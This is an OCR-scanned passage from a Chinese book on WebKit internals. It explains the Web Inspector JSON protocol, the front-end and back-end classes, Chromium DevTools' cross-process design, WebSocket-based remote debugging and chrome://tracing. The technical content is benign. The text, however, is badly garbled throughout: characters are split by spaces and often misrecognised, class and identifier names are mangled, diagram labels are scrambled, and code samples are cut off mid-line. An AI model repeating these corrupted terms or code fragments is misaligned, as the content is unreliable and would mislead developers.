{"method": "CSS. getComputedStyleForNode", "params": {"nodeld": 58}, "id": 1536} 





条 端 二 后 端 : {"method":"CSS.getInlineStylesForNode","params": {"nodeId":58},"id": 1537} 








ii-> hain: {"method":"DOM.getAttributes","params": {"nodeId":58},"id":1538} 














i->) tih: {"method": "CSS.getPlatformFontsForNode", "params": {"nodeld": 62}, "id": 1539} 





non 


{"result": {"computedStyle": [{"name": "background-attachment", 
value":"borde]}, "id": 1533} 





value": "scroll"}, {"name": "background-clip", 


":{"inlineStyle": {} }."id":1534} 





":(),"id":1535} 





{"result": {"computedStyle":[ {]}."id": 1536} 





{"result": {"inlineStyle"" id": 1537} 





{"result": {"attributes":["style","n * color: red; */n"]},"id":1538} 








Fiji-> fii: {"result": {"cssFamilyName":"'Times New Roman","fonts":[]}."id":1539} 











图 14-3 Web lnspector 取 消 CSS 属 性 值 涉及 的 前 后 端 信息 交换 


当 用 户 在 单 击 取消 一 个 CSS 属 性 值 的 时 候 ， 在 WebKit 内 部 其 实 已 经 
发 生 了 多 个 消 妃 的 传递 ， 这 其 中 包含 命令 和 事件 ， 也 包括 返回 值 。 首 先 
最 为 直接 的 就 是 数据 是 使 用 JSON 格 式 表示 的 ， 然 后 对 每 条 消息 ， 笔 者 
都 加 入 了 标注 表示 是 前 端 到 后 端 或 者 后 端 到 前 端 来 方便 理解 ， 后 面 使 
用 "“f{}? 括 起 来 的 部 分 就 是 实际 传输 的 数据 。 














第 一 个 数据 就 是 从 前 端 到 后 端的 命令 ， 其 含义 是 将 “id 为 "9” 的 样式 
表 中 的 属性 索引 值 为 0 的 属性 禁用 ， 根 据 图 14-2 中 的 定义 ， 该 命令 需要 


返回 值 ， 为 了 标记 返回 值 ， 在 发 送 JSON 数 据 的 时 候 ， 附 加 了 一 

个 “id 为 "15322? 的 标记 ， 这 样 ， 当 后 端 发 送 返 回 值 的 时 候 ， 前 端 就 能 够 
知道 这 是 哪个 请 求 的 回复 ， 而 不 会 出 现 理解 错误 的 情况 。 所 以 ， 对 于 不 
再 要 返回 值 的 命令 或 者 本 身 就 没有 返回 值 的 事件 而 言 ， 吏 不 需要 这 样 

的 id” 标 记 。 例 如， 第 二 和 第 三 条 束 是 从 后 端 到 前 端的 数据 ， 丈 是 一 个 
DOM 属 性 改变 的 事件 ， 其 中 并 不 包含 这 样 的 标记 信息 。 











第 四 条 就 是 第 一 条 命令 的 返回 值 ， 如 前 所 述 ， 包 含 了 返回 数据 和 第 
一 条 命令 的 标记 。 后 面 基 本 上 是 因为 样式 变化 市 来 的 请 求 ， 原 理 同上 面 
所 说 的 非常 类 似 ， 由 此 过 程 可 以 看 出 ， 用 户 一 个 简单 的 操作 ， 震 要 带 来 
前 后 端 大 量 的 操作 ， 其 中 这 些 命令 主要 是 前 端 发 送 给 后 端 ， 而 事件 主要 
征 后 端 告诉 前 端 当前 的 一 些 状 态 信 息 。 


14.1.3 WebKit 内 部 机 制 





介绍 了 Web Inspector 的 协议 和 基本 工作 方式 之 后 ， 下 面 有 必要 深入 
到 WebKit 和 Chromium 代 码 中 来 理解 它们 内 部 的 工作 机 制 ， 本 市 主要 介 
绍 WebKit 中 的 基础 设施 ， 包 括 前 后 端的 支持 情况 。 前 面 介绍 了 前 后 端 只 
是 通过 消息 传递 来 完成 调试 功能 的 ， 不 依赖 于 其 他 框架 ， 所 以 这 一 节 将 
重点 介绍 架构 中 是 如 何 发 送 、 接 收 消息 及 其 文 撑 的 架构 ， 首 先 看 前 端 调 
试 器 。 


调试 器 界面 本 身 也 是 使 用 Web 技 术 来 实现 的 ， 前 面 介绍 的 所 有 功能 
都 是 使 用 最 新 HIML5 技 术 来 完成 的 ， 目 前 有 两 个 接口 需要 具体 WebKit 
移植 的 实现 ， 第 一 是 发 送 消息 到 后 端的 接口 ， 第 二 是 从 对 方 接收 消息 
后 ， 将 消息 派发 给 调试 器 。 图 14-4 是 WebInspector 前 端的 主要 结构 和 基 
础 设施 。 








Inspector Backend js Inspector js Ins pectorFrontendAPI.js 


+dispatch() +dispatch() +dispatchMessage() 

+sendMessage ObjectToBackend() < +dispatchMessageAsync() 
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InspectorFrontendHostStub.js 

+sendMessage ToBackend( ) 


1 

| 
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1 

， I 

i 
V8lnspectorFrontendHost ] ScriptController 

1 

+sendMessage ToBackendMethod( ) I 

1 1 

1 1 

InspectorFrontendHost InspectorClient 

+sendMessage ToBackend() +static doDispatchMessageOnFrontendPage() 


图 14-4 Weblnspector 前 端的 主要 结构 





最 上 层 的 是 mspector.html， 也 就 是 读者 看 到 的 调试 喜 主 界面 ， 完 全 
采用 HIML5 技 术 。 因 为 调试 器 包含 众多 的 功能 ， 所 以 它 实 际 上 使 用 了 
各 种 功能 的 JavaScript 代 码 。 在 其 典型 的 三 个 JavaScript 文 件 中 ， 首 先是 
InspectorFrontendAPI， 它 是 前 问 的 公共 接口 ， 被 上 层 的 调试 器 包含 的 
JavaScript 代 码 使 用 ， 同 时 该 类 也 包括 公共 的 派发 消 恩 的 接口 ; 然后 是 
inspector.js， 它 是 一 个 总 的 入 口 ， 包 括 所 有 主要 对 象 的 创建 而 
InspectorBackend.js 是 一 个 背后 的 具体 实现 类 ， 它 能 够 提供 接口 来 将 消息 
发 送 到 被 调试 的 网 页 ， 也 就 是 后 端 。 

















调试 器 主要 需要 两 个 能 力 ， 一 是 发 送 消息 给 前 端 ， 二 是 接收 后 端的 
消息 。 这 两 个 接口 在 WebInspector 框 架 中 被 定义 ， 图 14-4 中 左边 就 是 发 
送 消息 给 前 端的 过 程 。Web Inspector 使 用 一 个 称 为 InspectorFrontendHost 
的 类 作为 接口 ， 当 然 它 本 身 没 有 有 具体 实现 。 在 一 般 的 情况 下 《如 为 远程 
调试 ， 则 稍 有 不 同 ， 后 面 会 介绍 ) ，InspectorFrontendHost 是 一 个 使 用 








C++ 编 写 的 接口 类 ， 它 通过 V8 的 绑 定 机 制 来 实现 ， 最 后 会 调用 到 
InspectorFrontendHost， 之 后 就 依赖 于 具体 移植 的 实现 了 。 男 外 一 个 接 

口 就 是 定义 了 派发 消息 的 JavaScript 接 口 ， 也 就 是 InspectorFrontendAPI.js 
定义 的 派发 消息 的 两 个 接口 ， 在 Web ”Inspector 中 ， 一 个 默认 的 实现 是 
InspectorClient 类 中 有 一 个 静态 方法 ， 该 方法 使 用 ScriptController 类 ， 将 
通过 C++ 代码 获得 的 消息 传 入 JavaScript 人 代码， 这样 整 个 前 端 依赖 的 两 个 
本 地 接口 就 得 到 了 完美 地 实现 ， 不 仅 如 此 ， 该 结构 还 能 很 好 地 满足 之 后 
的 远程 调试 的 需求 ， 是 非常 棒 的 结构 。 











前 端 介绍 完 之 后 就 是 后 端 ， 如 图 14-5 描 述 的 后 端 所 需要 的 主要 类 和 
它们 的 关系 。 同 前 端 不 一 样 的 是 ， 后 端的 主要 功能 都 是 使 用 C++ 代码 来 
完成 的 ， 其 中 最 重要 的 类 是 InspectorController， 它 控制 着 后 端的 所 有 动 
作 及 其 和 被 调试 网 页 之 间 的 联系 。InspectorClientroller 类 包含 一 个 
InspectorClient 对 象 ， 该 对 象 负 贡 实 现 基 础 功能 ， 如 情况 缓存 、 高 亮 等 。 
同时 ， 它 包含 一 个 主要 的 对 外 接口 ， 那 就 是 
dispatchMessageFromFrontend 类 ， 它 由 WebKit 移 植 将 前 端的 消息 传递 给 
后 端的 时 候 被 调用 ， 这 些 消 息 都 是 由 InspectorBackendDispatcherImpl 这 
个 自动 生成 类 处 理 的 ， 这 个 类 能 够 处 理 所 有 的 请 求 消息 ， 并 解析 这 些 消 
轧 ， 然 后 转换 成 相应 的 C++ 对 象 和 函数 的 调用 。 可 是 怎么 做 到 这 一 点 的 
We? 很 简单 ， 每 个 “domain” 都 会 有 相应 的 称 为 CommandHandler 的 类 ， 

如 图 中 CSSCommandHandler 类 。 每 个 类 的 对 象 都 会 注册 到 
InspectorBackendDispatcherImpl 对 象 中 ， 根 据 图 14-3 所 述 的 消息 ， 该 对 
象 很 容易 知道 调用 的 “domain”、 命 令 或 者 事件 等 。 
InspectorBackendDispatcherImpl 类 也 能 够 同 V8 等 JavaScript 引 擎 交互 ， 典 
型 的 应 用 就 是 审查 (Inspect) 一 个 元 素 ， 用 户 单 击 一 个 元 素 的 时 候 (可 
以 从 后 端的 被 调试 网 页 中 单 击 ) ，JavaScript 引 擎 接收 到 事件 ， 然 后 处 理 
并 调用 该 类 来 处 理 。 本 身 CommandHandler 类 包含 一 些 接口 ， 以 图 中 





























CSSCommandHandler 类 为 例 ， 它 的 具体 实现 类 是 InspectorCSSAgent， 借 
助 于 一 些 其 他 设施 类 ， 它 能 够 知道 被 调试 网 页 有 关 CSS 方 面 的 信息 ， 如 
借用 InspectorStyleSheet 类 。 


InspectorBaseAgent 


/\ 
= 
o 
InspectorBackendDispatcherlmpl |< - - 
= = — = 
m -magens | ---21+CSS_toggleProperty() = 
i 
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a 
ee) SSS | InspectorFrontendChannel | ectorFrontendChannel 





ane +dispatchMessageFromF rontend() en +sendMessageT oF rontend(} 


图 14-5 WebInspector 后 端的 主要 结构 


图 中 的 InspectorBaseAgent 是 文 持 所 有 功能 的 子 类 ， 由 于 Web 
Inspector 需 要 众多 功能 ， 如 前 面 介绍 的 CSS、 内 存 、 性 能 等 ， 所 有 这 些 
功能 都 是 基于 该 类 实现 的 ， 这 些 类 的 对 象 使 用 一 个 注册 类 来 管理 ， 如 图 
中 的 InspectorAgentRegistry 类 。 


以 与 CSS 相 关 的 Agent 为 例 ， 该 类 被 调用 后 能 够 做 正确 的 处 理 并 按 
返回 相应 的 结果 。 但 是 ， 这 里 不 进行 消息 的 编码 ， 而 是 使 用 一 个 
eee ine 自动 生成 类 来 帮助 这 些 C++ 对 象 和 数据 转换 成 JSON 格 

式 的 数据 。 


另外 一 方面 就 是 后 问 发 送 消 轧 到 前 端 ，WebKit 定 义 了 一 个 抽象 接口 
就 是 InspectorFrontendChannel 类 。 顾 名 思 义 ， 它 束 是 一 个 传输 通道 ， 所 
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输 数 据 。InspectorFrontend 是 一 个 目 动 生成 的 类 ， 这 里 是 一 个 模拟 前 端 
的 工具 类 ， 由 于 它 是 一 个 根据 协议 自动 生成 的 类 ， 后 端 调用 协议 中 定义 
的 方法 和 事件 ， 而 该 类 提供 这 些 接口 并 将 调用 转变 成 JSON 格 式 ， 包 括 
命令 的 名 称 、 参 数 等 信息 。 转 换 后 的 JSON 字 符 串 通过 通道 传 出 ， 从 而 
完成 了 消 忆 的 发 送 过 程 。 


通过 上 面 的 介绍 ， 相 信 读 者 已 经 推测 出 前 后 端 之 间 的 通信 框架 ， 因 
为 WebKit 的 特殊 性 ，WebCore 只 是 提供 框架 ， 具 体 实 现 交 由 移植 来 完 
成 。 图 14-6 是 基本 的 通信 框架 。 


InspectorFrontendAPI.js Inspector Controller 


+dispatchMessagel) +dispatchMessageF romFrontend() 


Inspector FrontendHost Inspector FrontendChannel 
nte nd 


+sendMessageToBackend() 


1 
InspectorFrontendClient 


+sendMessageToBackend() 


图 14-6 Weblnspector 的 前 后 端 通信 框架 示意 图 








图 中 左边 是 前 痢 ， 右 边 是 后 端 ， 通 信和 框架 主要 定义 前 后 站 的 一 些 用 
来 双向 通信 的 基础 类 和 提供 的 接口 。 这 些 接口 需 依赖 实际 的 通信 机 制 才 
能 完成 ， 设 想 一 下 如 果 前 后 问 都 工作 在 一 个 进程 中 ， 那 么 非常 简单 ， 只 
需 将 消 轧 传递 到 另 一 线程 中 即 可 ， 不 需要 复杂 的 机 制 。 不 过 ， 这 里 它 只 
古 定义 了 抽象 接口 ， 而 没有 定义 通信 方面 的 具体 规定 ， 这 为 跨 进 程 的 调 
试 机 制 和 远程 调试 提供 了 可 能 。 





14.1.4 Chromium 开发 者 工具 


Chromium 开 发 者 工具 (通常 见 到 的 称谓 是 DevTools〉 是 基于 Web 
Inspector 机 制 的 一 套 跨 进程 的 调试 工具 ， 具 体 用 法 笔者 稍 后 会 介绍 ， 这 
里 先 来 理解 它 是 如 何 基 于 Web Inspector 来 实现 的 。 


为 Chromium 的 多 进程 架构 ， 后 端 中 被 调试 的 网 页 是 一 个 Renderer 
进程 ， 前 端的 网 页 同样 也 是 一 个 Renderer 进 程 。 根 据 前 面 Web Inspector 
的 架构 ，Chromium 上 所 要 做 的 是 将 前 后 端的 通信 机 制 连接 起 来 。 由 于 
Chromium 架 构 的 特殊 性 ， 消 息 的 传递 实际 上 经 过 了 一 个 中 转 站 ， 那 融 
是 Browser 进 程 ， 也 就 是 说 这 两 个 Renderer 进 程 不 是 直接 通信 的 ， 而 是 将 
消息 传递 给 Browser 进 程 ， 由 它 再 派发 给 相应 的 Renderer 进 程 。 





图 14-7 描 述 了 Chromium 文 持 多 进程 调试 的 整个 架构 ， 上 半 部 分 是 前 
端 和 后 端 两 个 Renderer 进 程 ， 而 下 半 部 分 是 Browser 进 程 ， 整 个 架构 可 以 
说 非常 简洁 明确 。 首 先 来 看 前 端的 接收 和 发 送 消息 是 如 何 被 文 持 的 。 首 
先是 Chromium 对 前 端 发 送 消息 到 后 端的 文 持 。WebKit 中 的 基 类 
InspectorFrontHost 类 其 实 是 调用 InspectorFrontendClient 类 来 发 送 消息 
的 ， 而 WebKit 的 Chromium 移 植 做 了 一 个 具体 的 实现 类 Inspector- 
FrontendCjlientImpl 类 ， 该 类 会 调用 WebDevToolsFrontendImpl 类 。 最 后 
的 跨 进 程 通 信 类 是 content::DevToolsClient， 该 类 是 Chromium 项 目 中 用 
于 开发 者 工具 的 进程 间 通 信 类 。 然 后 是 Chromium 对 前 端 接收 来 自 后 庙 
消息 的 文 持 。 当 WebDevToolsFrontendImpl 类 接收 到 
content::DevToolsClient 传 递 过 来 消息 的 时 候 ， 它 直接 通过 V8 提供 的 机 制 
调用 InspectorFrontendAPI.js 的 dispatchMessage 方 法 。 经 过 这 一 过 程 ， 
Chromium 已 经 将 WebInspector 的 两 个 用 于 传递 消息 的 接口 实现 了 。 
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后 端 : Renderer 进程 2 
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图 14-7 Chromium DevTools 多 进程 架构 











接 下 来 是 Browser 进 程 ， 每 个 前 端 进程 都 有 一 个 相应 的 DevTools- 
FrontendHost 对 象 。 当 前 端的 一 个 消息 到 达 时 ， 如 何 找到 其 an Sin 
We? 答案 是 DevToolsManagerImpl 类 ， 它 管理 了 所 有 的 “前 后 端 对 ”， 

际 上 包含 了 两 个 哈 硕 表 ， 第 一 个 是 从 前 端 到 后 端的 映射 ， P 
方向 的 映射 。 有 了 这 两 个 哈 希 表 ， 一 切 就 很 简单 了 ，Browser 进 程 只 是 
将 前 端的 消息 根据 映射 关系 找到 后 端 并 传递 给 它 ， 相 反方 癌 也 是 一 样 

的 ， 这 就 是 图 14-7 中 描述 的 过 程 。 





最 后 是 后 端 进程 的 工作 过 程 。content::DevToolsAgent 也 是 负责 同 
Browser 进 程 交 互 消息 的 具体 实现 类 ， 包 括 接收 和 发 送 。 在 这 之 上 主要 
是 WebKit 的 Chromium 移 植 提 供 的 接口 ， 其 具体 的 实现 是 通过 
WebDevToolsAgentImpl 类 ， 它 会 将 接收 的 消息 传递 给 
InspectorController， 至 此 ，Chromium 连 接 上 WebKit 中 后 端 接收 消息 的 
AFH AL Hl. MT AIA , ~WebDevToolsAgentImpl 
InspectorFrontendChannel 的 子 类 ， 会 实现 sendMessageToFrontend 接 口 。 





这 样 ， 双 向 过 程 完整 地 得 到 了 支持 。 


14.1.5 ”远程 调试 





何谓 远程 调试 (Remote Debugging) ?刚刚 上 面 介绍 的 都 是 在 同一 
个 浏览 器 中 的 进程 ， 虽 然 可 能 在 不 同 的 进程 中 。 远 程 调 试 是 指 前 端 和 后 
并 在 不 同 的 浏览 器 实例 中 ， 但 这 两 个 实例 可 能 在 同一 个 环境 中 ， 也 可 能 
在 不 同 的 环境 中 。 例 如 ， 两 台 机 器 ， 甚 至 网 络 上 的 两 个 设备 。 





根据 前 面 描述 的 Web Inspector 机 制 ， 本 身 Web Inspector 机 制 没 有 定 
义 通 信 的 方式 ， 而 且 前 后 端 只 是 通过 JSON 消 恩 和 一 定 的 协议 来 交互 
的 ， 所 以 从 理论 上 来 讲 ， 远 程 调试 也 只 是 需要 建立 一 定 的 通信 方式 就 能 
够 文 持 远程 调试 ， 好 消息 是 现在 已 经 得 到 实现 了 。 














Web Inspector 没 有 提供 或 者 规定 远程 调试 的 方式 ， 在 Chromium 中 ， 
远程 调试 得 到 了 比较 好 的 支持 ， 其 具体 的 做 法 如 下 。 


1. 首先 在 后 端 所 在 的 浏览 右 中 需要 建立 一 个 HITTP 服 务 器 ， 在 果 面 系 
统 上 ， 建 立 和 打开 TCP 监 听 一 个 端口 ， 如 9222。 然 后 在 另外 一 个 
Chromium 浏 览 器 实例 中 输入 “http://localhost:9222” 就 可 以 看 到 被 调 
试 的 网 页 。 目 前 ， 这 种 方式 并 不 文 持 网 络 上 的 不 同 机 器 ， 可 能 是 实 
现 者 考虑 到 安全 性 问题 。 如 果 调 试 Android 平 台 上 的 Chrome 浏 览 器 
中 的 网 页 ， 首 先 需要 将 Android 设 备 通过 USB 连 接 上 开发 机 器 ， 这 
时 候 用 户 可 以 在 Android 上 Chrome 浏 览 器 的 设置 中 打开 远程 调试 开 
关 ， 这 一 操作 实际 上 创建 了 一 个 Unix Domain Socket。 此 时 ， 开 发 
者 在 Linux 系 统 中 只 要 打开 Chrome 浏 览 器 〈 必 须 大 于 版 本 33) 并 在 
地 址 栏 输入 “chrome:/respect” 束 能 够 看 到 需要 调试 的 网 页 了 。 





2. 建立 连接 之 后 ， 通 过 HTTP 协 议 将 被 调试 网 页 的 HIML 、CSS 和 JS 等 
资源 文件 从 被 调试 网 页 所 在 的 浏览 器 传输 到 前 端 调 试 器 所 在 的 网 页 
中 。 

3. 当 开 始 调试 时 ， 前 端 调 试 器 会 尝试 使 用 Web Socket 建 立 前 端 和 后 端 
传输 消息 的 通道 。 这 是 一 种 基于 Web 的 新 技术 ， 能 够 建立 类 似 于 套 
接 字 的 数据 传输 通道 。 


图 14-8 描 述 了 使 用 WebSocket 技 术 来 传输 调试 消息 的 远程 调试 机 
制 。 根 据 前 面 介绍 的 WebKit 中 前 端 和 后 端 传输 消息 的 机 制 ， 主 要 是 
InspectorFrontendHost (AmE) 和 InspectorFrontendChannel (后 端 使 
FA) 这 两 个 类 ， 它 们 具体 的 实现 由 子 类 来 完成 ， 在 远程 调试 中 ， 通 信 的 
基础 设施 是 由 HTML5 的 WebSocket 技 术 来 支撑 的 ， 那 么 Chromium 中 如 
何 使 用 该 技术 呢 ? 道理 很 简单 ， 就 是 将 InspectorFrontendHost 接 口 同 时 
暴露 到 JavaScript 中 ， 当 本 地 代码 需要 发 送 消息 的 时 候 ， 通 过 调用 
InspectorFrontendHost 类 的 本 地 接口 ， 而 这 个 本 地 接口 已 经 同 JavaScript 
中 的 实际 发 送 接口 连接 起 来 ， 这 样本 地 代码 中 的 消息 就 能 够 使 用 
WebSocket 技 术 来 发 送 了 ， 示 例 代 码 14-1 是 Chromium 中 连接 本 地 代码 和 
Javascript 代 码 发 送 消息 的 部 分 代码 节选 ， 这 个 代码 是 前 端的 代码 。 而 对 
于 接收 消息 ， 同 样 比较 简单 ，Chromium 将 WebSocket 的 onMessage 事 件 
同 后 端的 消息 派发 函数 连接 起 来 ， 确 实 轻而易举 。 对 于 后 端 而 言 ， 它 使 
用 C++ 代码 来 完成 WebSocket 的 连接 ， 原 理 是 类 似 的 。 


InspectorFrontendHost InspectorFrontendChannel 


+sendMessage ToBackend() 
1 


WebSocket: frontend |+----------3 WebSocket: backend 

















图 14-8 使 用 WebSocket 技 术 的 远程 调试 





示例 代码 14-1 使 用 WebSocket 建 立 连接 的 远程 调试 机 制 


WebInspector.loaded = function() { 
// 首先 构建 ws， 这 个 是 WebSocket 的 URL， 下 面 是 创建 WebSocket 对 象 
if (ws) { 








WebInspector.socket = new WebSocket(ws); 
// 接收 对 方 过 来 的 消息 ， 直 接 交 给 相应 的 模块 去 处 理 


WebInspector.socket.onmessage=function(message) { 


























InspectorBackend.dispatch(message.data); } 
WebInspector.socket.onerror = function(error) { console.e 
WebInspector.socket.onopen = function() { 


// 当 连 接 打开 后 ， 就 将 InspectorFrontendHost 的 发 送 消息 





InspectorFrontendHost.sendMessageToBackend = 
WebInspector.socket.send.bind(WebInspector.sock 


WebInspector .doLoadedDone()/; 
} 


Weinre 是 一 个 文 持 远程 调试 功能 的 开源 项 目 ， 它 除了 能 够 文 持 
WebInspector 协 议 ， 还 能 够 支持 Firebug (Firefox 的 调试 工具 ) 的 协议 ， 
其 原理 也 是 类 似 的 ， 有 兴趣 的 读者 可 以 自行 查阅 相关 技术 文档 。 


14.1.6 Chromium Tracing 机 制 





Chromium 开 发 者 工具 能 够 帮助 Web 开 发 者 理解 网 页 运行 过 程 中 的 
行为 并 帮助 分 析 一 些 性 能 问题 。 但 是 ， 如 果 出 现 问 题 ， 特 别 是 绘制 网 页 
的 时 候 ， 开 发 者 非常 希望 了 解 为 什么 Chromium 会 使 用 如 此 多 的 时 间 ， 
笔者 相信 Chromium 开 发 者 工具 很 难 回答 这 样 的 问题 。 同 时 ， 对 于 
Chromium 的 开发 者 来 说 ， 如 果 需 要 分 析 Chromium 自 身 问 题 ， 就 需要 相 
应 的 工具 来 帮助 分 析 ， 在 Chromium 中 ，chrome://tracing 这 一 诊断 工具 能 
够 满足 上 面 的 要 求 。 


这 是 一 个 基于 事件 收集 的 分 析 工 具 ， 它 能 够 帮助 诊断 一 些 WebKit 和 
Chromium 内 部 代码 在 绘制 网 页 过 程 中 存在 的 问题 ， 其 中 最 主要 的 还 是 
同 图 形 相关 的 操作 。 我 们 在 第 7 半 中 的 4.3 节 中 使 用 过 该 工具 来 分 析 泻 染 





这 一 机 制 的 实现 采用 的 思想 非常 简单 ，Tracing 机 制 在 Chromium 代 
码 中 插入 相应 的 跟踪 代码 ， 然 后 计算 开始 和 结束 之 间 的 时 间 差 ， 虽 然 简 
单 ， 但 是 非常 有 用 ， 典 型 的 例子 如 下 所 示 。 





TRACE_EVENT_BEGINO("MY_SUBSYSTEM", "SomethingCostly") 
doSomethingCostly() 
TRACE_EVENT_ENDO("MY_SUBSYSTEM", "SomethingCostly") 


Tracing 机 制 在 某 个 动作 执行 前 加 入 “开始 事件 ”代码 ， 然 后 在 动作 结 
束 后 加 入 “结束 事件 ”代码 ， 机 制 中 的 TRACE_EVENT 宏 自动 计算 获得 该 
动作 执行 的 时 间 。 当 然 ， 一 般 典 型 的 例子 是 在 函数 或 者 一 段 代 码 开始 的 
时 候 加 入 TRACE_EVENT0， 在 该 函数 退出 时 候 ， 该 事件 自动 记录 下 结 
束 的 时 间 ， 这 是 使 用 对 象 的 自动 析 构 机 制 来 完成 的 。 这 样 Tracing 机 制 就 
能 够 计算 出 该 函数 运行 所 需要 的 时 间 ， 而 不 再 需要 额外 插入 结束 代码 ， 
如 示例 代码 14-2 所 示 的 三 个 记录 点 。 














示例 代码 14-2 首 先 在 函数 入 口 处 创建 Tracing 对 象 并 记录 时 间 点 ， 在 
该 函数 退出 时 ， 对 象 析 构 前 就 能 够 自动 记录 整个 国 数 执行 的 总 时 间 。 然 
后 在 第 一 个 “这 语句 中 ， 又 加 入 了 一 个 记录 点 记录 了 这 种 条 件 下 的 时 间 
消耗 ， 后 面 的 Tracing 对 象 也 是 同样 的 原理 。 











示例 代码 14-2 ”Chromium 合成 器 中 的 ThreadProxy 类 代码 片段 


bool ThreadProxy: :CompositeAndReadback(void* pixels, gfx::Rec 
TRACE_EVENTO("cc", "ThreadProxy: :CompositeAndReadback" ); 
DCHECK(IsMainThread()); 
DCHECK(layer_tree_host_); 





if (defer_commits_) { 
TRACE_EVENTO("cc", "CompositeAndReadback_DeferCommit") ; 


return false; 


if (!layer_tree_host_->InitializeOutputSurfaceIfNeeded()) { 





TRACE_EVENTO("cc", "CompositeAndReadback_EarlyOut_LR_Unin 


return false; 


} 


在 第 7 章 中 ， 我 们 已 经 介绍 过 如 何 使 用 该 诊断 工具 来 收集 数据 ， 这 
里 不 再 重复 。 回 顾 图 7-15 中 chrome://tracing 收 集 的 一 段 时 间 内 的 跟踪 事 
件 集 合 ， 开 发 者 可 以 看 到 各 个 进程 内 的 时 间 分 布 情况 ， 它 同时 也 显示 了 
各 个 线程 的 函数 调用 情况 ， 从 中 能 够 发 现 热 点 区 域 ， 也 就 是 耗 时 特别 长 





的 函数 。 该 工具 还 能 够 文 持 保 存 这 些 数 据 ， 这 样 可 以 很 方便 地 传播 这 些 
数据 ， 并 获得 他 人 的 分 析 帮 助 。 


14.2 实践 一 -基础 和 性 能 调试 


Chromium 开 发 者 工具 基本 上 沿用 了 Web Inspector 的 功能 ， 所 以 这 一 
节 主 要 以 该 开发 者 工具 作为 介绍 的 对 象 ， 一 起 了 解 开发 者 工具 提供 的 功 
能 和 一 些 基本 的 用 法 ， 有 些 用 法 其 实在 之 前 已 经 介绍 过 ， 这 里 可 能 为 了 
系统 性 考虑 会 再 次 提 及 一 下 ， 但 是 不 做 太 多 的 重复 性 介绍 。 主 要 包括 两 
个 部 分 ， 基 础 功能 部 分 的 调试 和 性 能 部 分 的 调试 。 








14.2.1 基础 调试 


基础 部 分 的 调试 大 致 可 以 分 成 DOM 元 素 的 修改 等 访问 、CSS 样 式 值 
修改 、 日 志和 控制 台 信息 ， 以 及 JavaScript 代 码 单 步调 试 、 断 点 设置 等 半 
分 功能 。 





开启 或 者 关闭 开发 者 工具 的 功能 快捷 键 是 F12 或 者 在 浏览 器 地 址 最 
右 侧 的 按钮 中 调用 开发 者 工具 即 可 。 还 有 一 个 直接 的 方法 就 是 右键 单 击 
一 个 HTML 元 素 ， 然 后 在 右键 到 单 中 能 够 找到 “Inspect Element w, HE 
就 是 审查 该 元 素 ， 这 种 方式 也 可 以 打开 开发 者 工具 ， 如 图 14-9 是 使 用 该 
选项 打开 开发 者 工具 并 显示 “Inspect Element” 选 项 所 做 的 Chrome 浏 览 咒 
截图 。 
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当 开 发 者 工具 被 打开 后 ， 开 发 者 怠 会 发 现在 “Elements” 标 签 之 下 显 
示 的 其 实 是 被 调试 页 面 的 源 代码 ， 同 时 ，Chromium 浏 览 器 会 高 亮 被 审 
查 元 素 的 源 代码 ， 这 一 做 法 可 以 帮助 开发 者 获悉 当前 的 元 素 的 源 代码 。 
右 侧 下 方 是 当前 元 素 的 CSS 属 性 值 ， 包 括 经 过 WebKit 计 算 之 后 应 用 在 该 
元 素 上 的 属性 值 和 支持 获得 这 些 属性 值 的 规则 等 信息 ， 这 对 开发 者 而 言 
非常 方便 。 如 果 读 者 认为 只 是 显示 源 代码 (DOM 结构 ) 和 CSS 属 性 值 的 
话 ， 那 就 大 错 特 错 了 。 开 发 者 工具 的 方便 之 处 就 在 于 开发 者 可 以 任意 修 
改 源 代码 或 者 CSS 属 性 值 ， 而 且 这 些 修 改 都 是 即时 显示 在 网 页 的 泻 染 结 
果 中 的 。 如 前 面 的 一 个 例子 就 是 取消 一 个 CSS 属 性 值 ， 图 14-3 束 是 该 例 
子 背 后 发 送 的 消息 ， 前 端的 修改 很 快 就 会 在 后 端 显 示 的 网 页 结果 中 起 作 























Al, BON, CARP PET eA, MWA HY HE as Be ERA a 
ff, 


男 外 一 个 例子 就 是 在 图 14-9 左 边 的 源 代码 中 实际 是 DOM 树 的 一 种 
显示 方式 ) ， 开 发 者 可 以 随时 修改 任何 元 素 ， 包 括 它 们 的 属性 ， 这 些 修 
改 立 刻 由 后 端 处 理 触发 重新 绘制 的 操作 。 这 一 切 对 网 页 开发 者 来 说 是 透 
明 的 。 当 然 这 些 改动 只 是 针对 本 地 浏览 器 下 载 后 的 网 页 ， 并 不 会 对 服务 
需 端 的 网 页 做 任何 修改 ， 因 为 其 本 来 目的 也 是 玫 助 调试 之 用 。 








当然 ， 为 了 查看 网 页 的 DOM 结 构 和 网 页 中 的 各 种 对 象 ， 开 发 者 工 
上 其 提供 了 命令 行 式 的 控制 台 ， 开 发 者 可 以 以 此 查看 任何 DOM 中 的 节点 
(这 个 在 第 5 章 中 也 使 用 过 控制 台 来 理解 DOM 树 结构 ) 和 各 种 对 象 〈 包 
括 对 象 值 和 它 包 括 的 函数 ， 笔 者 经 常 使 用 它 来 得 看 Chromium 文 持 的 一 
些 JavaScript 接 口 是 什 么 样 的 ， 因 为 不 同 浏览 器 对 于 接口 的 支持 也 是 不 一 
样 的 ) ， 其 至 可 以 执行 JavaScript 语 句 。 图 14-10 是 开发 者 工具 控制 台中 
的 两 个 示例 ， 第 一 个 是 查看 “geolocation” 对 象 相 关 的 接口 ， 可 以 看 到 这 
个 对 象 包括 三 个 接口 。 第 二 个 是 查看 “window” 对 象 下 所 有 的 其 他 对 象 ， 
这 对 查看 编程 接口 也 有 一 定 的 帮助 。 
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图 14-10 开发 者 工具 的 控制 台 


控制 台 的 男 外 一 个 功能 就 是 能 够 显示 所 有 的 JavaScript 代 码 执行 的 日 
志 信 息 和 错误 信息 。 调 试 JavaScript 代 码 的 一 种 方式 是 使 用 日 印 出 一 
些 值 来 帮助 确定 代码 的 正确 性 ， 常 用 的 就 是 console.log 函 数 ， 该 函数 的 
输出 都 可 以 在 控制 台中 看 到 。 


代码 的 调试 是 每 个 调试 器 必须 文 持 的 功能 ， 在 网 页 中 就 是 对 
JavaScript 代 人 码 的 调试 功能 ， 包 括 单 步 、 设 置 或 取消 断 点 、 调 用 栈 、 变 量 
言 妃 等 ， 这 些 都 在 “Sources” 标 签 中 得 到 了 支持 。 图 14-11 是 开发 者 工具 
中 的 JavaScript 代 码 调试 器 。 
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图 14-11 开发 者 工具 的 JavaScript 调 试 器 


左 侧 是 当前 网 页 的 所 有 包含 JavaScript 代 码 的 文件 ， 中 间 是 当前 代码 
